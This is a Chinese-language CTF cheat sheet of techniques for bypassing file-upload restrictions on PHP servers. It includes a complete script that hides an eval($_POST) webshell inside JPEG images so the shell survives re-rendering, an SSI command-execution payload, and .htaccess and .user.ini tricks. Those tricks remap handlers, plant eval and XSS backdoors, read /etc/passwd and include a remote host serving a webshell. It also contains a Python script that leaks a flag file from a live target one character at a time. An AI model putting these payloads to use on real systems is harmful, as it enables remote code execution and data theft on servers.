判断过滤
判断是否过滤文件内容
把包含shell的php文件改成jpg/png/gif等文件上传所允许的类型,如果能上传成功则没有过滤文件内容
判断黑白名单
上传文件抓包后把后缀改成任意字符,若能上传成功则为黑名单,否则为白名单
判断是否能用配置文件
可以上传配置文件
根据题目环境的中间件,apche是.htaccess,其他的是.user.ini
没有修改上传后的文件名
前端验证
禁用js
直接发送数据包
通过验证后用burpsuite抓包修改数据
文件头
JPEG (jpg),文件头:FFD8FFE0
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638 或 GIF89a
HTML (html),文件头:68746D6C3E
ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221
Adobe Acrobat (pdf),文件头:255044462D312E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
黑名单
可执行文件
跑字典
.php
.php5
.php4
.php3
.php2
.html
.htm
.phtml
.pht
.pHp
.phP
.pHp5
.pHp4
.pHp3
.pHp2
.Html
.Htm
.pHtml
.jsp
.jspa
.jspx
.jsw
.jsv
.jspf
.jtml
.jSp
.jSpx
.jSpa
.jSw
.jSv
.jSpf
.jHtml
.asp
.aspx
.asa
.asax
.ascx
.ashx
.asmx
.cer
.aSp
.aSpx
.aSa
.aSax
.aScx
.aShx
.aSmx
.cEr
.sWf
.swf
.htaccess
.user.ini
大小写混合绕过
双写绕过
php标签
短标签
<? phpinfo();?>
<?= '123'; ?>
script
<script language="php">phpinfo();</script>
asp标签
需要开启php.ini的相关配置 一般不考
<% phpinfo(); %>
00截断
条件
- php 版本小于 5.3.4
- gpc关闭
1.php%00.jpg,截断后文件名为1.php
图片马
png
jpg二次渲染
<?php
$miniPayload = '<?php echo 123;eval($_POST[0]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
echo "error";
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
用法 php exp.php a.png
shtml
SSI注入
SHTML是使用SSI( Server side Include)的htm文件扩展名,SSI( Server Side include)通常称为“服务器端嵌入”或者叫“服务 器端包含”,是一种类似于AsP的基于服务器的网页制作技术
参考博客:https://www.cnblogs.com/endust/p/11826210.html
步骤
上传 .htaccess
AddType text/html .shtmL
AddHandler server-parsed .shtml
Options Includes
SSI注入
<pre>
<!--#exec cmd="whoami" -->
</pre>
访问生成的shtml文件
配置文件
.htaccess
htaccess文件是Apache服务器中的一个配置文件。htaccess 文件的作用是可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP 地址的用户、只允许特定 IP 地址的用户、禁止目录列表,以及使用其他文件作为 index 文件等一些功能。
常见模板
AdHandler php5-script .jpg
| <!-- 将 .jpg 文件按照 php 代码进行解析执行 -->
Addtype application/x-httpd-php .jpg
<!--将,jg文件按照php代码进行解析执行-->
Sethandler application/x-httpd-php
<!--将该目录及子目录下的文件均按照php文件解析执行-->
绕过关键字过滤
原理:.htaccess支持换行编写,我们可以使用反斜杠换行\
绕过的方法
下面两种都可以
过滤ph
Sethandler application/x-httpd-p\
hp .jpg
过滤application
AddType appli\cation/x-httpd-php .jpg
文件包含
php_value auto_append_file /tmp/webshell txt
php_value auto_append_file /tmp/sess_xxxx
包含.htaccess(比较适用AWD)
对于.htaccess来说
#
是注释,后面内容对文件本身没有什么影响 .但是php把他包含的时候会执行里面的php代码
php value auto append file htaccess
#<php eval(S-POST[]);?>
反序列化回调
php_value unserialize_ callback_func "phpinfo"
// 一但php文件发生了反序列化,phpinfo就会触发
unserialize('0: 1: "1":0:{}');
Xss后门
php_value highlight.comment '"><script>alert(1);</script>'
任意文件下载
php_flag engine 0
设置此配置后可以下载任意php文件(一般在CTF中没什么用)
302 文件无法被解析
原因php.ini中engine被设置成0,使得php无法解析
可以使 php_flag engine 为on
<FilesMatch “jpg”>
SetHandler application/x-httpd-php
php_flag engine on
</FilesMatch>
读文件
盲注
import requests
import string
import hashlib
ip = requests.get('http://118.24.185.108/ip.php').text
print(ip)
def check(a):
htaccess = '''
<If "file('/flag')=~ /'''+a+'''/">
ErrorDocument 404 "wupco"
</If>
'''
resp = requests.post("http://122.112.248.222:20003/index.php?id=69660",data={'submit': 'submit'}, files={'file': ('.htaccess',htaccess)} )
a = requests.get("http://122.112.248.222:20003/upload/"+ip+"/a").text
if "wupco" not in a:
return False
else:
return True
flag = "flag{BN"
c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
for i in c:
print("checking: "+ flag+i)
if check(flag+i):
flag = flag+i
print(flag)
break
else:
continue
直接读
ErrorDocument 404 %{file:/etc/passwd}
.user.ini
user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
使用条件
服务器脚本语言为PHP
对应目录下面有可执行的php文件,如index.php
服务器使用CGI/FastCGI模式
文件包含
auto_prepend_file=a.jpg
auto_append_file=a.jpg
auto_prepend_file=php://input
auto_prepend_file="/var/log/nginx/access.log" //日志文件包含
auto_prepend_file=http://2002459365 //我的vps,里面有一句话木马
flask框架,return php代码就好了,在文件包含的时候,里面的php代码才会被解析.
from flask import Flask
from flask import request
app = Flask(__name__)
@app.route("/")
def run_cmd():
return "<h1>Hello World!</h1><?php echo 'kradress';eval($_POST['kradress']);?>"
if __name__ == "__main__":
app.run(host='0.0.0.0',port =80)